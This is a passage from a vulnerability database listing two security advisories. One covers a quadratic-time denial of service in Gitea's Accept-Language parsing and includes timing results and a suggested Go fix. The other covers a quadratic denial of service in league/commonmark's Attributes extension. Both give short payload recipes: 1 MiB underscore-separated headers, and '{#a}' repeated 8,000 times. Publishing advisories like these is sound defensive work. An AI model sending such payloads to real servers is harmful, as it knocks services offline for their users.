repeat 2 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.938493583s\n attack repeat 3 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.679953042s\n```\n\nInterpretation:\n\n| Request | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag | 0 - 5 | 1 - 7 ms |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 26 ms |\n| 1 MiB `_` separators (guard bypassed) | 1 MiB | 1.7 - 2.2 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still\nwork on the canonical separator: a 1 MiB `-` payload returns in 26 ms\nbecause the parser short-circuits with `ErrTagListTooLarge`. The `_`\nattack returns 200 from the same endpoint but consumes ~2 s of server\nCPU because the guard did not fire and the quadratic scanner ran to\ncompletion.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~2 seconds per 1\n MiB request.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a\n 10-core Gitea instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as\n abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Gitea installations published to the public internet (the\n common pattern) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter before reaching\n`ParseAcceptLanguage`. The smallest change that preserves the existing\nbehaviour for legitimate Accept-Language headers is to count `_`\nalongside `-` and short-circuit when the total exceeds a small ceiling:\n\n```go\n// modules/web/middleware/locale.go\nconst maxAcceptLanguageSeparators = 32 // matches typical real browser values\n\nif len(lang) == 0 {\n al := req.Header.Get(\"Accept-Language\")\n if strings.Count(al, \"-\")+strings.Count(al, \"_\") \u003e maxAcceptLanguageSeparators {\n // Refuse to call into the BCP 47 parser with absurd input.\n al = \"\"\n }\n tags, _, _ := language.ParseAcceptLanguage(al)\n tag := translation.Match(tags...)\n lang = tag.String()\n}\n```\n\nA real Accept-Language header from a browser contains under 10\nseparators, so a ceiling of 32 leaves plenty of headroom while making\nthe quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future\nupstream fix is the right long-term solution; the change above is\ndefensive in depth at the only call site that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-fw57-jgch-pgf3",
"modified": "2026-07-21T21:15:47Z",
"published": "2026-07-21T21:15:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-fw57-jgch-pgf3"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38323"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/f452c369acc9f1bd05ec6ef9c2e4399062dd6da1"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests"
}
GHSA-G2GP-3WWQ-F4PH
Vulnerability from github – Published: 2026-08-06 20:39 – Updated: 2026-08-06 20:39Impact
With the Attributes extension enabled, AttributesListener::findTargetAndDirection() resolves each attribute node's target by walking outward through its siblings. For a run of N adjacent inline attribute blocks placed at the start of a block (with nothing to their left), each node scans the entire sibling list to the far-right end before giving up and falling back to the parent. Each resolution is therefore Θ(N) and the whole run is Θ(N²).
Reaching the path requires AttributesExtension (opt-in, but first-party: League\CommonMark\Extension\Attributes\AttributesExtension). No other configuration matters — the quadratic walk runs unconditionally during parsing and is not gated by the attributes/allow allow-list, the on* hardening added in 2.7.0, or allow_unsafe_links. An unauthenticated attacker can submit a ~32 KB input ({#a} repeated 8,000 times) that takes over 5 seconds to convert, with time growing quadratically in input length — a cheap denial of service. Availability impact only. The Attributes extension was introduced in 1.5.0 (May 2020) with this outward-walk resolver present from the first commit, so all releases from 1.5.0 onward (including every 2.x) are affected.
Workarounds
There is no library-level configuration that gates the quadratic walk. Integrators who cannot upgrade can only reduce exposure indirectly:
- Disable the Attributes extension for untrusted input, or
- Impose a strict maximum input length before conversion — noting that because the cost is quadratic, even a modest cap must be small to meaningfully bound worst-case CPU.
Upgrading to a release containing the fix is recommended.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "league/commonmark"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "2.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T20:39:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nWith the Attributes extension enabled, `AttributesListener::findTargetAndDirection()` resolves each attribute node\u0027s target by walking outward through its siblings. For a run of N adjacent inline attribute blocks placed at the start of a block (with nothing to their left), each node scans the **entire** sibling list to the far-right end before giving up and falling back to the parent. Each resolution is therefore \u0398(N) and the whole run is **\u0398(N\u00b2)**.\n\nReaching the path requires `AttributesExtension` (opt-in, but first-party: `League\\CommonMark\\Extension\\Attributes\\AttributesExtension`). No other configuration matters \u2014 the quadratic walk runs unconditionally during parsing and is **not** gated by the `attributes/allow` allow-list, the `on*` hardening added in 2.7.0, or `allow_unsafe_links`. An unauthenticated attacker can submit a **~32 KB** input (`{#a}` repeated 8,000 times) that takes **over 5 seconds** to convert, with time growing quadratically in input length \u2014 a cheap denial of service. Availability impact only. **The Attributes extension was introduced in 1.5.0 (May 2020) with this outward-walk resolver present from the first commit, so all releases from 1.5.0 onward (including every 2.x) are affected.**\n\n### Workarounds\n\nThere is no library-level configuration that gates the quadratic walk. Integrators who cannot upgrade can only reduce exposure indirectly:\n\n- **Disable the Attributes extension** for untrusted input, or\n- **Impose a strict maximum input length before conversion** \u2014 noting that because the cost is quadratic, even a modest cap must be small to meaningfully bound worst-case CPU.\n\nUpgrading to a release containing the fix is recommended.",
"id": "GHSA-g2gp-3wwq-f4ph",
"modified": "2026-08-06T20:39:52Z",
"published": "2026-08-06T20:39:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/security/advisories/GHSA-g2gp-3wwq-f4ph"
},
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/commit/2d4c0fafa62501be919262064cffa6d71687430b"
},
{
"type": "PACKAGE",
"url": "https://github.com/thephpleague/commonmark"
},
{
"type": "WEB",
"url": "https://github.com/thephpleague/commonmark/releases/tag/2.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "league/commonmark: Denial of service via adjacent inline attribute blocks"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.